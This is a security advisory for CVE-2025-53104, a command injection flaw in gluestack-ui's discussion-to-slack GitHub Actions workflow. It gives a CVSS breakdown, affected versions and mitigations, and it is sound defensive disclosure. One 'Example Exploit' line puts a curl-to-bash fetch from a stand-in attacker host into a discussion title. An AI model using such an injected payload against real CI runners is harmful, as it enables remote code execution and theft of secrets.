Description
gluestack-ui is a library of copy-pasteable components & patterns crafted with Tailwind CSS (NativeWind). Prior to commit e6b4271, a command injection vulnerability was discovered in the discussion-to-slack.yml GitHub Actions workflow. Untrusted discussion fields (title, body, etc.) were directly interpolated into shell commands in a run: block. An attacker could craft a malicious GitHub Discussion title or body (e.g., $(curl ...)) to execute arbitrary shell commands on the Actions runner. This issue has been fixed in commit e6b4271 where the discussion-to-slack.yml workflow was removed. Users should remove the discussion-to-slack.yml workflow if using a fork or derivative of this repository.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2025-19665
1. Vulnerability Assessment and Severity Evaluation
The vulnerability described in EUVD-2025-19665 pertains to a command injection flaw in the discussion-to-slack.yml GitHub Actions workflow within the gluestack-ui library. This vulnerability allows an attacker to execute arbitrary shell commands on the Actions runner by crafting malicious input in GitHub Discussion fields such as the title or body. The severity of this vulnerability is rated with a CVSS base score of 9.1, indicating a critical risk.
CVSS Vector Breakdown:
- AV:N (Network Vector): The vulnerability can be exploited remotely over the network.
- AC:L (Low Complexity): The attack requires low skill or resources to exploit.
- PR:N (No Privileges Required): No authentication is required to exploit the vulnerability.
- UI:N (No User Interaction): No user interaction is required for the exploit to succeed.
- S:U (Unchanged): The scope of the vulnerability does not change.
- C:H (High Confidentiality Impact): The vulnerability can lead to a significant breach of confidentiality.
- I:H (High Integrity Impact): The vulnerability can lead to a significant breach of integrity.
- A:N (No Availability Impact): The vulnerability does not directly impact the availability of the system.
2. Potential Attack Vectors and Exploitation Methods
An attacker can exploit this vulnerability by:
- Creating a GitHub Discussion with a malicious title or body that includes shell commands.
- The malicious input is directly interpolated into shell commands in the
run:block of thediscussion-to-slack.ymlworkflow. - This allows the attacker to execute arbitrary commands on the Actions runner, potentially leading to unauthorized access, data exfiltration, or further compromise of the system.
Example Exploit:
title: $(curl -s http://attacker.com/payload | bash)
3. Affected Systems and Software Versions
The vulnerability affects versions of the gluestack-ui library prior to commit e6b4271. Users who have forked or derived from this repository and are still using the discussion-to-slack.yml workflow are at risk.
Affected Versions:
gluestack-ui< commite6b4271
4. Recommended Mitigation Strategies
To mitigate this vulnerability, the following actions are recommended:
- Update to the Fixed Version: Ensure that the
gluestack-uilibrary is updated to include the fix provided in commite6b4271. - Remove Vulnerable Workflow: If using a fork or derivative of the repository, remove the
discussion-to-slack.ymlworkflow. - Input Sanitization: Implement proper input sanitization and validation for any user-provided data that is used in shell commands.
- Least Privilege Principle: Ensure that the Actions runner operates with the least privileges necessary to minimize the impact of any potential exploitation.
5. Impact on European Cybersecurity Landscape
The vulnerability poses a significant risk to organizations using the gluestack-ui library, particularly those within the European Union. The potential for arbitrary command execution on the Actions runner can lead to data breaches, unauthorized access, and further compromise of critical systems. This underscores the importance of regular security audits and timely updates to mitigate such risks.
6. Technical Details for Security Professionals
Vulnerability Details:
- Type: Command Injection
- Location:
discussion-to-slack.ymlGitHub Actions workflow - Affected Fields: GitHub Discussion title and body
- Exploit Method: Direct interpolation of untrusted input into shell commands
Fix Details:
- Commit:
e6b4271 - Action Taken: Removal of the
discussion-to-slack.ymlworkflow
References:
Aliases:
- CVE-2025-53104
Assigner:
- GitHub_M
ENISA IDs:
- Product:
851b8879-4707-3cf1-a66e-9425ae1ec1ed - Vendor:
2b78dfa6-7e1c-3c63-a414-f38dadb160af
By addressing this vulnerability promptly and implementing robust security practices, organizations can significantly reduce the risk of exploitation and protect their systems from potential cyber threats.